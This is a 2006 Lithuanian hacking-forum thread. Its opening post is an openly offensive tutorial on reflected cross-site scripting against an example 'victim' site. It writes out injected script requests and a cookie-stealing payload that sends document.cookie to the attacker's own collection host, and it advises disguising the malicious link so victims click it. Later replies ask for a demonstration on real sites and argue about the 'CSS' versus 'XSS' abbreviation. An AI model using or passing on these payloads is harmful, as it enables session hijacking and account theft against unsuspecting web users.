XSS paaiskinta

Hakeriai dalinkitės patirtimi
Skelbti atsakymą
Žinutė
Autorius
Vartotojo avataras
GODhack
profesionalas
profesionalas
Pranešimai:4469
Užsiregistravo:2005 03 18 21:13
Susisiekti:
XSS paaiskinta

#1 Standartinė GODhack » 2006 04 01 21:17

Na paskutiniu laiku tik svaisciau laika, bandydams ismust GNU garbijimo religija
is sviesiu galvu, bet prisiminiau istorija kad religiniai konfliktai geruoju niekad nesibaigia. Tai ir ivyko buvo sukurta "hacking 2" skiltis kurioje as nedalyvausiu ir visi tures proga ten sau ramiai garbinti ir slovinti linux, ir netiosiogai tyciotis is vin wartotuju.

Be to tai nusprendziau nuveik geriau kaska prasmingo forume. Brains buvo nepatenkintas, kad ka rasau tai yra suprantama visiem ne tik jam. Tai panagrinejes braino ziniu lygi nusprendziau si kart parasyt kaska sudetingesnio.

Pradedam:
CSS, XSS - reiskia viena ir tapati. cross site scripting.
Tai vienas megiamiausiu metodu kai norima ka nors pagaidint webaplikaciju lygije. Tarkim mes lauziam www.auka.lt
kaip taisykle svetaine turi turet pazeidziama skripta. tarkim musu auka turi welcome.cgi ir parametras "skyle" gali buti atidarytas taip:

GET /welcome.cgi?skyle=GOD%20hack HTTP 1.0
Host: www.auka.lt

Ir atsakymas bus:

<HTML>
<title>welcome</title>
SWX GODhack
<BR>
....
...
</HTML>

Dabar mum reik linko linkas atrodys taip:
http://www.auka.lt/welcome.cgi?skyle=<s ... e)</script>

Musu lama kai nuspaus linka suformuos tokia uzklausa:

GET /welcome.cgi?skyle=<script>alert(document.cookie)</script>HTTP/1.0
Host: www.auka.lt

Ir atsakas bus:
<HTML>
<title>welcome</title>
SWX <script>alert(document.cookie)</script>
<BR>
....
...
</HTML>

Aukos narsykle tai ivertins kaip html'a su java skriptu. Tas kodas paleistas lais prieiti prie visu kookiu is www.auka.lt ir negana to atidarys langa parodanti kokius kukius turi musu lama tam saite. Zinoma tikraataka isius kookius mum:) Tam tik reik parasyt skripta-linka:
http://www.auka.lt/welcome.cgi?skyle=<s ... e)</script>

Ir reponsas tada yra toks:
<HTML>
<title>welcome</title><script>window.open("http://www.mususaitukas.lt/collect.cgi? ... ent.cookie)</script>
SWX
<BR>
....
...
</HTML>

Narsykle vos tik uzkrasus puslapi persius visus kookius mum. Smagu.
Beda visgi yra auka turi spaust linka kuris atrodo kiek neiprastai ir kiek ilgokas. Na bet jei turit fantazijos ir kosytes galvoj tai padaryt nera taip jau sunku. Tereik tik paslet nuodinga linka po BBK ar HTML skiptais, kad nekeltu itarimo. Daug kas nors panikiskai bijo priimt falus is visur, bet visgi spando kas papula. :wink:

Ataka galima igivendint ne tik per GET per ir per POST uzklausimus ir yra kitu metodu cia tik parasiau gera pradzia. Meistriskai ivaldzius tokias atakas daug webaplikaciju lengvai pasiduos jusu valiai.
Nepatikti blogiems - girtinas dalykas. SENEKA
__________________________________________
progenic.com
library.2ya.com
Paveikslėlis

Vartotojo avataras
DF
profesionalas
profesionalas
Pranešimai:2979
Užsiregistravo:2005 08 14 10:54

#2 Standartinė DF » 2006 05 16 07:26

Shaunus textukas :)
Dabar pats kaip tik domiuosi XSS. :)

Ar galetu kas nors nufilmuoti kaip XSS yra atliekama One.lt arba kokiam yahoo.com, nu chia nesvarbu tik taip kad vaizdzhiai viskas matytusi.
Nes katik meginau pagal texta kazhka daryti tai nei velnio nesygavo :)
Kai bobu nera - Buna blogai, Bet kai bobu yra - buna dar blogiau..Ishvadas daryk pats.

Ramex
naujokas
naujokas
Pranešimai:17
Užsiregistravo:2006 04 24 15:25

#3 Standartinė Ramex » 2006 05 17 17:22

na as noreciau papriestaraut godhack, kad CSS ir XSS yra tas pats. CSS - tai Cascading Style Sheets, HTML kodo pagyvinimo priemone, o XSS - cross site scripting. abieju savoku zodziu pirmososios raides vienodos, tad del to cross site scripting ir buvo pavadinta XSS, kad nepainiot su CSS. tai tiek :) o DarkForce zinok, tam kad viskas veiktu pagal teksta, tai saite turi buti klaidu, kurios veiktu pagal aprasyta metoda :) jei to neismanai ir darai tik pagal texta, tai manau ir sunkiai kas gausis...

Vartotojo avataras
GODhack
profesionalas
profesionalas
Pranešimai:4469
Užsiregistravo:2005 03 18 21:13
Susisiekti:

#4 Standartinė GODhack » 2006 05 17 18:15

Viusiskai nesutinku su priestaravimu, del akivaizdzios priezasties:
cross site scripting == CSS

Sutinku kad CSS dar gali reisti ir
Copustu Sudimo Skardine
ar dar ka nors tokio, bet tam juk reik ziuret i konteksta skaitant.
Nepatikti blogiems - girtinas dalykas. SENEKA
__________________________________________
progenic.com
library.2ya.com
Paveikslėlis

brain5ide
profesionalas
profesionalas
Pranešimai:2030
Užsiregistravo:2004 12 01 19:05

#5 Standartinė brain5ide » 2006 05 17 18:28

Cross Site Scripting ir Cascading Style Sheet yra abu susiję su web developmentu, todėl siekiant efektyvesnio tarpusavio bendravimo buvo sukurtas terminas XSS (čia iksas vietoje žodžio cross). Aišku galima sakyti ir CSS, bet kai kuriais atvejais gali likti nesuprastas.
Never argue with an idiot. They bring you down to their level and beat you with experience.

Vartotojo avataras
GODhack
profesionalas
profesionalas
Pranešimai:4469
Užsiregistravo:2005 03 18 21:13
Susisiekti:

#6 Standartinė GODhack » 2006 05 17 18:30

As kaskaip labai daug kur matau CSS ir net galbut reciau XSS.
Nepatikti blogiems - girtinas dalykas. SENEKA
__________________________________________
progenic.com
library.2ya.com
Paveikslėlis

brain5ide
profesionalas
profesionalas
Pranešimai:2030
Užsiregistravo:2004 12 01 19:05

#7 Standartinė brain5ide » 2006 05 17 18:32

Tai gali būti, kad matai kalbą apie dizainą, o apie dizainą - Cascading Style Sheets.
Never argue with an idiot. They bring you down to their level and beat you with experience.

Vartotojo avataras
GODhack
profesionalas
profesionalas
Pranešimai:4469
Užsiregistravo:2005 03 18 21:13
Susisiekti:

#8 Standartinė GODhack » 2006 05 17 18:33

Ne matau ir skaitau apie skriptinima, o apie dizaina net nesidomiu ir net nlb tiksliai zinau kas tas kitas daiktas yra.
Nepatikti blogiems - girtinas dalykas. SENEKA
__________________________________________
progenic.com
library.2ya.com
Paveikslėlis

Ramex
naujokas
naujokas
Pranešimai:17
Užsiregistravo:2006 04 24 15:25

#9 Standartinė Ramex » 2006 05 17 23:39

na man tai tikrai neteko matyt parasyta css kai butu kalbama apie cross site scripting. visur kiek maciau tai xss. na seip gal anksciau kai cross site scripting terminas atsirado, tai ji ir vadino css... beje paziurejau angliskoj wikipedijoj.
prie cross site scripting pateikiamas trumpinys xss, beje minint kad anksciau jis buvo vadinmas ir css. taciau paieskojes apie css, radau kurkas daugiau :D Calderbank-Shor-Steane Cascading Style Sheets Closed source software Content-scrambling system Core System Software Cross-site scripting Curvature Scale Space :D gera kruvele. tad manau tikrai butu tikslinga cross site scripting sutrumpintai vadint tik xss :) juolabiau kad jau ir pritapo

Skelbti atsakymą

Grįžti į

Dabar prisijungę

Vartotojai naršantys šį forumą: 5 ir 0 svečių